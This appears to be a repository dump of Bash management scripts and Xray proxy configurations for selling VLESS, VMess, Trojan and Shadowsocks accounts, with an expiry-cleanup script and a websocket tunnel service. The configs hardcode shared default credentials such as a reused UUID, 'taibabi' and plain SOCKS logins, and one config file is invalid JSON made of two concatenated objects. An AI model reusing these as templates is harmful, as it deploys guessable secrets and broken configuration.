"\033[1;93m┌──────────────────────────────────────────┐\033[0m" 17 | echo -e "\033[1;93m│ ${grenbo}1.${NC} \033[0;36mCreating a Vless Account${NC}" 18 | echo -e "\033[1;93m│ ${grenbo}2.${NC} \033[0;36mDelete Vless Account${NC}" 19 | echo -e "\033[1;93m│ ${grenbo}3.${NC} \033[0;36mRenew Vless Account${NC}" 20 | echo -e "\033[1;93m│ ${grenbo}4.${NC} \033[0;36mCheck Vless Login Account${NC}" 21 | echo -e "\033[1;93m│ ${grenbo}5.${NC} \033[0;36mCheck Vless Config Account${NC}" 22 | echo -e "\033[1;93m└──────────────────────────────────────────┘\033[0m" 23 | echo -e "" 24 | read -p "Select From Options [ 1 - 4 ] : " menu 25 | case $menu in 26 | 1) 27 | add-vless 28 | ;; 29 | 2) 30 | del-vless 31 | ;; 32 | 3) 33 | renew-vless 34 | ;; 35 | 4) 36 | cek-vless 37 | ;; 38 | 5) 39 | user-vless 40 | ;; 41 | *) 42 | menu 43 | ;; 44 | esac 45 | -------------------------------------------------------------------------------- /update/xp: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | red() { echo -e "\\033[32;1m${*}\\033[0m"; } 3 | clear 4 | ##----- Auto Remove Vmess 5 | data=($(cat /etc/xray/config.json | grep '^###' | cut -d ' ' -f 2 | sort | uniq)) 6 | now=$(date +"%Y-%m-%d") 7 | for user in "${data[@]}"; do 8 | exp=$(grep -w "^### $user" "/etc/xray/config.json" | cut -d ' ' -f 3 | sort | uniq) 9 | d1=$(date -d "$exp" +%s) 10 | d2=$(date -d "$now" +%s) 11 | exp2=$(((d1 - d2) / 86400)) 12 | if [[ "$exp2" -le "0" ]]; then 13 | sed -i "/^### $user $exp/,/^},{/d" /etc/xray/config.json 14 | sed -i "/^### $user $exp/,/^},{/d" /etc/xray/config.json 15 | sed -i "/^### $user $exp/d" /etc/vmess/.vmess.db 16 | fi 17 | done 18 | 19 | #----- Auto Remove Vless 20 | data=($(cat /etc/xray/config.json | grep '^#&' | cut -d ' ' -f 2 | sort | uniq)) 21 | now=$(date +"%Y-%m-%d") 22 | for user in "${data[@]}"; do 23 | exp=$(grep -w "^#& $user" "/etc/xray/config.json" | cut -d ' ' -f 3 | sort | uniq) 24 | d1=$(date -d "$exp" +%s) 25 | d2=$(date -d "$now" +%s) 26 | exp2=$(((d1 - d2) / 86400)) 27 | if [[ "$exp2" -le "0" ]]; then 28 | sed -i "/^#& $user $exp/,/^},{/d" /etc/xray/config.json 29 | sed -i "/^#& $user $exp/,/^},{/d" /etc/xray/config.json 30 | sed -i "/^### $user $exp/d" /etc/vless/.vless.db 31 | fi 32 | done 33 | 34 | #----- Auto Remove Trojan 35 | data=($(cat /etc/xray/config.json | grep '^#!' | cut -d ' ' -f 2 | sort | uniq)) 36 | now=$(date +"%Y-%m-%d") 37 | for user in "${data[@]}"; do 38 | exp=$(grep -w "^#! $user" "/etc/xray/config.json" | cut -d ' ' -f 3 | sort | uniq) 39 | d1=$(date -d "$exp" +%s) 40 | d2=$(date -d "$now" +%s) 41 | exp2=$(((d1 - d2) / 86400)) 42 | if [[ "$exp2" -le "0" ]]; then 43 | sed -i "/^#! $user $exp/,/^},{/d" /etc/xray/config.json 44 | sed -i "/^#! $user $exp/,/^},{/d" /etc/xray/config.json 45 | sed -i "/^### $user $exp/d" /etc/trojan/.trojan.db 46 | fi 47 | done 48 | 49 | #----- Auto Remove SS 50 | data=($(cat /etc/xray/config.json | grep '^###&' | cut -d ' ' -f 2 | sort | uniq)) 51 | now=$(date +"%Y-%m-%d") 52 | for user in "${data[@]}"; do 53 | exp=$(grep -w "^###& $user" "/etc/xray/config.json" | cut -d ' ' -f 3 | sort | uniq) 54 | d1=$(date -d "$exp" +%s) 55 | d2=$(date -d "$now" +%s) 56 | exp2=$(((d1 - d2) / 86400)) 57 | if [[ "$exp2" -le "0" ]]; then 58 | sed -i "/^###& $user $exp/,/^},{/d" /etc/xray/config.json 59 | sed -i "/^###& $user $exp/,/^},{/d" /etc/xray/config.json 60 | sed -i "/^### $user $exp/d" /etc/shadowsocks/.shadowsocks.db 61 | fi 62 | done 63 | systemctl restart xray 64 | -------------------------------------------------------------------------------- /xray/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "log" : { 3 | "access": "/var/log/xray/access.log", 4 | "error": "/var/log/xray/error.log", 5 | "loglevel": "warning" 6 | }, 7 | "inbounds": [ 8 | { 9 | "listen": "127.0.0.1", 10 | "port": 10000, 11 | "protocol": "dokodemo-door", 12 | "settings": { 13 | "address": "127.0.0.1" 14 | }, 15 | "tag": "api" 16 | }, 17 | { 18 | "listen": "127.0.0.1", 19 | "port": "10001", 20 | "protocol": "vless", 21 | "settings": { 22 | "decryption":"none", 23 | "clients": [ 24 | { 25 | "id": "36326ea2-6994-4d53-bcd5-f43bbdaec562" 26 | #vless 27 | } 28 | ] 29 | }, 30 | "streamSettings":{ 31 | "network": "ws", 32 | "wsSettings": { 33 | "path": "/vless" 34 | } 35 | } 36 | }, 37 | { 38 | "listen": "127.0.0.1", 39 | "port": "10002", 40 | "protocol": "vmess", 41 | "settings": { 42 | "clients": [ 43 | { 44 | "id": "36326ea2-6994-4d53-bcd5-f43bbdaec562", 45 | "alterId": 0 46 | #vmess 47 | } 48 | ] 49 | }, 50 | "streamSettings":{ 51 | "network": "ws", 52 | "wsSettings": { 53 | "path": "/vmess" 54 | } 55 | } 56 | }, 57 | { 58 | "listen": "127.0.0.1", 59 | "port": "10003", 60 | "protocol": "trojan", 61 | "settings": { 62 | "decryption":"none", 63 | "clients": [ 64 | { 65 | "password": "36326ea2-6994-4d53-bcd5-f43bbdaec562" 66 | #trojanws 67 | } 68 | ], 69 | "udp": true 70 | }, 71 | "streamSettings":{ 72 | "network": "ws", 73 | "wsSettings": { 74 | "path": "/trojan-ws" 75 | } 76 | } 77 | }, 78 | { 79 | "listen": "127.0.0.1", 80 | "port": "10004", 81 | "protocol": "shadowsocks", 82 | "settings": { 83 | "clients": [ 84 | { 85 | "method": "aes-128-gcm", 86 | "password": "36326ea2-6994-4d53-bcd5-f43bbdaec562" 87 | #ssws 88 | } 89 | ], 90 | "network": "tcp,udp" 91 | }, 92 | "streamSettings":{ 93 | "network": "ws", 94 | "wsSettings": { 95 | "path": "/ss-ws" 96 | } 97 | } 98 | }, 99 | { 100 | "listen": "127.0.0.1", 101 | "port": "10005", 102 | "protocol": "vless", 103 | "settings": { 104 | "decryption":"none", 105 | "clients": [ 106 | { 107 | "id": "36326ea2-6994-4d53-bcd5-f43bbdaec562" 108 | #vlessgrpc 109 | } 110 | ] 111 | }, 112 | "streamSettings":{ 113 | "network": "grpc", 114 | "grpcSettings": { 115 | "serviceName": "vless-grpc" 116 | } 117 | } 118 | }, 119 | { 120 | "listen": "127.0.0.1", 121 | "port": "10006", 122 | "protocol": "vmess", 123 | "settings": { 124 | "clients": [ 125 | { 126 | "id": "36326ea2-6994-4d53-bcd5-f43bbdaec562", 127 | "alterId": 0 128 | #vmessgrpc 129 | } 130 | ] 131 | }, 132 | "streamSettings":{ 133 | "network": "grpc", 134 | "grpcSettings": { 135 | "serviceName": "vmess-grpc" 136 | } 137 | } 138 | }, 139 | { 140 | "listen": "127.0.0.1", 141 | "port": "10007", 142 | "protocol": "trojan", 143 | "settings": { 144 | "decryption":"none", 145 | "clients": [ 146 | { 147 | "password": "36326ea2-6994-4d53-bcd5-f43bbdaec562" 148 | #trojangrpc 149 | } 150 | ] 151 | }, 152 | "streamSettings":{ 153 | "network": "grpc", 154 | "grpcSettings": { 155 | "serviceName": "trojan-grpc" 156 | } 157 | } 158 | }, 159 | { 160 | "listen": "127.0.0.1", 161 | "port": "10008", 162 | "protocol": "shadowsocks", 163 | "settings": { 164 | "clients": [ 165 | { 166 | "method": "aes-128-gcm", 167 | "password": "36326ea2-6994-4d53-bcd5-f43bbdaec562" 168 | #ssgrpc 169 | } 170 | ], 171 | "network": "tcp,udp" 172 | }, 173 | "streamSettings":{ 174 | "network": "grpc", 175 | "grpcSettings": { 176 | "serviceName": "ss-grpc" 177 | } 178 | } 179 | } 180 | ], 181 | "outbounds": [ 182 | { 183 | "protocol": "freedom", 184 | "settings": {} 185 | }, 186 | { 187 | "protocol": "blackhole", 188 | "settings": {}, 189 | "tag": "blocked" 190 | } 191 | ], 192 | "routing": { 193 | "rules": [ 194 | { 195 | "type": "field", 196 | "ip": [ 197 | "0.0.0.0/8", 198 | "10.0.0.0/8", 199 | "100.64.0.0/10", 200 | "169.254.0.0/16", 201 | "172.16.0.0/12", 202 | "192.0.0.0/24", 203 | "192.0.2.0/24", 204 | "192.168.0.0/16", 205 | "198.18.0.0/15", 206 | "198.51.100.0/24", 207 | "203.0.113.0/24", 208 | "::1/128", 209 | "fc00::/7", 210 | "fe80::/10" 211 | ], 212 | "outboundTag": "blocked" 213 | }, 214 | { 215 | "inboundTag": [ 216 | "api" 217 | ], 218 | "outboundTag": "api", 219 | "type": "field" 220 | }, 221 | { 222 | "type": "field", 223 | "outboundTag": "blocked", 224 | "protocol": [ 225 | "bittorrent" 226 | ] 227 | } 228 | ] 229 | }, 230 | "stats": {}, 231 | "api": { 232 | "services": [ 233 | "StatsService" 234 | ], 235 | "tag": "api" 236 | }, 237 | "policy": { 238 | "levels": { 239 | "0": { 240 | "statsUserDownlink": true, 241 | "statsUserUplink": true 242 | } 243 | }, 244 | "system": { 245 | "statsInboundUplink": true, 246 | "statsInboundDownlink": true, 247 | "statsOutboundUplink" : true, 248 | "statsOutboundDownlink" : true 249 | } 250 | } 251 | } 252 | { 253 | "outbounds": [ 254 | { 255 | "protocol": "dns", 256 | "tag": "dns-out" 257 | }, 258 | { 259 | "streamSettings": { 260 | "sockopt": { 261 | "mark": 255 262 | } 263 | }, 264 | "settings": { 265 | "domainStrategy": "UseIPv4" 266 | }, 267 | "protocol": "freedom", 268 | "tag": "direct" 269 | }, 270 | { 271 | "protocol": "blackhole", 272 | "tag": "blackhole" 273 | }, 274 | { 275 | "settings": { 276 | "servers": [ 277 | { 278 | "port": 10000, 279 | "address": "127.0.0.1" 280 | } 281 | ] 282 | }, 283 | "streamSettings": { 284 | "network": "tcp", 285 | "security": "none" 286 | }, 287 | "protocol": "socks", 288 | "tag": "out" 289 | } 290 | ], 291 | "log": { 292 | "loglevel": "warning" 293 | }, 294 | "dns": { 295 | "hosts": { 296 | "dns.tiarap": "174.138.21.128", 297 | "geosite:category-ads-all": "127.0.0.1" 298 | }, 299 | "servers": [ 300 | { 301 | "address": "https://doh.tiar.app/dns-query", 302 | "domains": ["geosite:geolocation-!id"], 303 | "expectIPs": ["geoip:!id"] 304 | }, 305 | "174.138.21.128", 306 | { 307 | "address": "1.1.1.1", 308 | "port": 53, 309 | "domains": ["geosite:id", "geosite:category-games@id"], 310 | "expectIPs": ["geoip:id"], 311 | "skipFallback": true 312 | }, 313 | { 314 | "address": "localhost", 315 | "skipFallback": true 316 | } 317 | ] 318 | }, 319 | "routing": { 320 | "rules": [ 321 | { 322 | "type": "field", 323 | "outboundTag": "Reject", 324 | "domain": ["geosite:category-ads-all"] 325 | }, 326 | { 327 | "type": "field", 328 | "outboundTag": "Direct", 329 | "domain": [ 330 | "geosite:private", 331 | "geosite:apple-id", 332 | "geosite:google-id", 333 | "geosite:tld-id", 334 | "geosite:category-games@id" 335 | ] 336 | }, 337 | { 338 | "type": "field", 339 | "outboundTag": "Proxy", 340 | "domain": ["geosite:geolocation-!id"] 341 | }, 342 | { 343 | "type": "field", 344 | "outboundTag": "Direct", 345 | "domain": ["geosite:id"] 346 | }, 347 | { 348 | "type": "field", 349 | "outboundTag": "Proxy", 350 | "network": "tcp,udp" 351 | } 352 | ] 353 | }, 354 | "inbounds": [ 355 | { 356 | "port": 10000, 357 | "protocol": "dokodemo-door", 358 | "settings": { 359 | "port": 53, 360 | "network": "udp", 361 | "address": "174.138.21.128" 362 | }, 363 | "tag": "dns-in", 364 | "listen": "127.0.0.1" 365 | } 366 | ] 367 | } 368 | -------------------------------------------------------------------------------- /xray/config.json.bak: -------------------------------------------------------------------------------- 1 | { 2 | "log" : { 3 | "access": "/var/log/xray/access.log", 4 | "error": "/var/log/xray/error.log", 5 | "loglevel": "info" 6 | }, 7 | "inbounds": [ 8 | { 9 | "port": 10020, 10 | "protocol": "trojan", 11 | "settings": { 12 | "clients": [ 13 | { 14 | "password":"taibabi" 15 | #trojanxtls 16 | } 17 | ], 18 | "decryption": "none", 19 | "fallbacks": [{ 20 | "path": "/trojan-ws", 21 | "dest": 10001 22 | }, 23 | { 24 | "path": "/vmess", 25 | "dest": 10002 26 | }, 27 | { 28 | "path": "/vless", 29 | "dest": 10003 30 | }, 31 | { 32 | "path": "/ss-ws", 33 | "dest": 10005 34 | }, 35 | { 36 | "path": "/socks-ws", 37 | "dest": 10006 38 | }, 39 | { 40 | "alpn": "h2", 41 | "dest": 10007, 42 | "xver": 0 43 | }, 44 | { 45 | "dest": 6443, 46 | "xver": 0 47 | }, 48 | { 49 | "dest": 2053, 50 | "xver": 0 51 | } 52 | ] 53 | }, 54 | "streamSettings": { 55 | "network": "tcp", 56 | "security": "xtls", 57 | "xtlsSettings": { 58 | "minVersion": "1.2", 59 | "cipherSuites": "TLS_AES_256_GCM_SHA384:TLS_AES_128_GCM_SHA256:TLS_CHACHA20_POLY1305_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256:TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256", 60 | "alpn": [ 61 | "h2", 62 | "http/1.1" 63 | ], 64 | "certificates": [ 65 | { 66 | "ocspStapling": 3600, 67 | "certificateFile": "/etc/xray/xray.crt", 68 | "keyFile": "/etc/xray/xray.key" 69 | } 70 | ] 71 | } 72 | } 73 | }, 74 | { 75 | "port": 10001, 76 | "listen": "127.0.0.1", 77 | "protocol": "trojan", 78 | "settings": { 79 | "clients": [ 80 | { 81 | "password":"taibabi" 82 | #trojanws 83 | } 84 | ], 85 | "decryption": "none" 86 | }, 87 | "streamSettings": { 88 | "network": "ws", 89 | "security": "none", 90 | "wsSettings": { 91 | "path": "/trojan-ws" 92 | } 93 | } 94 | }, 95 | { 96 | "listen": "127.0.0.1", 97 | "port": 6443, 98 | "protocol": "trojan", 99 | "settings": { 100 | "clients": [ 101 | { 102 | "password":"taibabi" 103 | #trojantcp 104 | } 105 | ] 106 | }, 107 | "streamSettings": { 108 | "network": "tcp", 109 | "security": "none", 110 | "tcpSettings": { 111 | "acceptProxyProtocol": true 112 | } 113 | } 114 | }, 115 | { 116 | "port": 10003, 117 | "listen": "127.0.0.1", 118 | "protocol": "vless", 119 | "settings": { 120 | "decryption":"none", 121 | "clients": [ 122 | { 123 | "id": "taibabi" 124 | #vless 125 | } 126 | ] 127 | }, 128 | "streamSettings":{ 129 | "network": "ws", 130 | "wsSettings": { 131 | "path": "/vless" 132 | } 133 | } 134 | }, 135 | { 136 | "port": 10002, 137 | "listen": "127.0.0.1", 138 | "protocol": "vmess", 139 | "settings": { 140 | "clients": [ 141 | { 142 | "id": "taibabi", 143 | "alterId": 0 144 | #vmess 145 | } 146 | ] 147 | }, 148 | "streamSettings":{ 149 | "network": "ws", 150 | "wsSettings": { 151 | "path": "/vmess" 152 | } 153 | } 154 | }, 155 | { 156 | "port": 10005, 157 | "listen": "127.0.0.1", 158 | "protocol": "shadowsocks", 159 | "settings": { 160 | "method": "2022-blake3-aes-128-gcm", 161 | "password": "FrA4ztbtXGmB/SvQ6PXAZg==", 162 | "clients": [ 163 | { 164 | "password": "oYeM+0BaRj8Gf2UN+l713A==" 165 | #ssws 166 | } 167 | ], 168 | "network": "tcp,udp" 169 | }, 170 | "streamSettings":{ 171 | "network": "ws", 172 | "wsSettings": { 173 | "path": "/ss-ws" 174 | } 175 | } 176 | }, 177 | { 178 | "port": 10006, 179 | "listen": "127.0.0.1", 180 | "protocol": "socks", 181 | "settings": { 182 | "auth": "password", 183 | "accounts": [ 184 | { 185 | "user": "meki", 186 | "pass": "tembem" 187 | #socksws 188 | } 189 | ], 190 | "level": 0, 191 | "udp": true 192 | }, 193 | "streamSettings":{ 194 | "network": "ws", 195 | "wsSettings": { 196 | "path": "/socks-ws" 197 | } 198 | } 199 | }, 200 | { 201 | "port": 12650, 202 | "listen": "127.0.0.1", 203 | "protocol": "vless", 204 | "settings": { 205 | "decryption":"none", 206 | "clients": [ 207 | { 208 | "id": "taibabi" 209 | #vlessgrpc 210 | } 211 | ] 212 | }, 213 | "streamSettings":{ 214 | "network": "grpc", 215 | "grpcSettings": { 216 | "acceptProxyProtocol": true, 217 | "serviceName": "vless-grpc" 218 | } 219 | } 220 | }, 221 | { 222 | "port":39758, 223 | "listen": "127.0.0.1", 224 | "protocol": "vmess", 225 | "settings": { 226 | "clients": [ 227 | { 228 | "id": "taibabi", 229 | "alterId": 0 230 | #vmessgrpc 231 | } 232 | ] 233 | }, 234 | "streamSettings":{ 235 | "network": "grpc", 236 | "grpcSettings": { 237 | "acceptProxyProtocol": true, 238 | "serviceName": "vmess-grpc" 239 | } 240 | } 241 | }, 242 | { 243 | "port": 14791, 244 | "listen": "127.0.0.1", 245 | "protocol": "trojan", 246 | "settings": { 247 | "decryption":"none", 248 | "clients": [ 249 | { 250 | "password": "taibabi" 251 | #trojangrpc 252 | } 253 | ] 254 | }, 255 | "streamSettings":{ 256 | "network": "grpc", 257 | "grpcSettings": { 258 | "acceptProxyProtocol": true, 259 | "serviceName": "trojan-grpc" 260 | } 261 | } 262 | }, 263 | { 264 | "port": 29727, 265 | "listen": "127.0.0.1", 266 | "protocol": "socks", 267 | "settings": { 268 | "auth": "password", 269 | "accounts": [ 270 | { 271 | "user": "fighter", 272 | "pass": "tunnel" 273 | #socksgrpc 274 | } 275 | ], 276 | "level": 0, 277 | "udp": true 278 | }, 279 | "streamSettings":{ 280 | "network": "grpc", 281 | "grpcSettings": { 282 | "acceptProxyProtocol": true, 283 | "serviceName": "socks-grpc" 284 | } 285 | } 286 | }, 287 | { 288 | "port": 17173, 289 | "listen": "127.0.0.1", 290 | "protocol": "shadowsocks", 291 | "settings": { 292 | "method": "2022-blake3-aes-128-gcm", 293 | "password": "FrA4ztbtXGmB/SvQ6PXAZg==", 294 | "clients": [ 295 | { 296 | "password": "oYeM+0BaRj8Gf2UN+l713A==" 297 | #ssgrpc 298 | } 299 | ], 300 | "network": "tcp,udp" 301 | }, 302 | "streamSettings":{ 303 | "network": "grpc", 304 | "grpcSettings": { 305 | "acceptProxyProtocol": true, 306 | "serviceName": "ss-grpc" 307 | } 308 | } 309 | }, 310 | { 311 | "listen": "127.0.0.1", 312 | "port": 10000, 313 | "protocol": "dokodemo-door", 314 | "settings": { 315 | "address": "127.0.0.1" 316 | }, 317 | "tag": "api" 318 | } 319 | ], 320 | "routing": { 321 | "rules": [{ 322 | "type": "field", 323 | "ip": [ 324 | "0.0.0.0/8", 325 | "10.0.0.0/8", 326 | "100.64.0.0/10", 327 | "169.254.0.0/16", 328 | "172.16.0.0/12", 329 | "192.0.0.0/24", 330 | "192.0.2.0/24", 331 | "192.168.0.0/16", 332 | "198.18.0.0/15", 333 | "198.51.100.0/24", 334 | "203.0.113.0/24", 335 | "::1/128", 336 | "fc00::/7", 337 | "fe80::/10" 338 | ], 339 | "outboundTag": "block" 340 | }, 341 | { 342 | "inboundTag": [ 343 | "api" 344 | ], 345 | "outboundTag": "api", 346 | "type": "field" 347 | } 348 | ] 349 | }, 350 | "outbounds": [{ 351 | "protocol": "freedom", 352 | "settings": {} 353 | }, 354 | { 355 | "protocol": "blackhole", 356 | "settings": {}, 357 | "tag": "block" 358 | } 359 | ], 360 | "stats": {}, 361 | "api": { 362 | "services": [ 363 | "StatsService" 364 | ], 365 | "tag": "api" 366 | }, 367 | "policy": { 368 | "levels": { 369 | "0": { 370 | "statsUserDownlink": true, 371 | "statsUserUplink": true 372 | } 373 | }, 374 | "system": { 375 | "statsInboundUplink": true, 376 | "statsInboundDownlink": true, 377 | "statsOutboundUplink" : true, 378 | "statsOutboundDownlink" : true 379 | } 380 | } 381 | } 382 | -------------------------------------------------------------------------------- /xray/tun.conf: -------------------------------------------------------------------------------- 1 | # verbose level 0=info, 1=verbose, 2=very verbose 2 | verbose: 0 3 | listen: 4 | 5 | # // SSH 6 | - target_host: 127.0.0.1 7 | target_port: 22 8 | listen_port: 10015 9 | 10 | # // OpenVPN 11 | - target_host: 127.0.0.1 12 | target_port: 1194 13 | listen_port: 10012 -------------------------------------------------------------------------------- /xray/ws.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=WebSocket 3 | After=syslog.target network-online.target 4 | 5 | [Service] 6 | User=root 7 | NoNewPrivileges=true 8 | ExecStart=/usr/sbin/websocket -f /etc/websocket/tun.conf 9 | Restart=on-failure 10 | RestartPreventExitStatus=23 11 | LimitNPROC=10000 12 | LimitNOFILE=1000000 13 | 14 | [Install] 15 | WantedBy=multi-user.target 16 | --------------------------------------------------------------------------------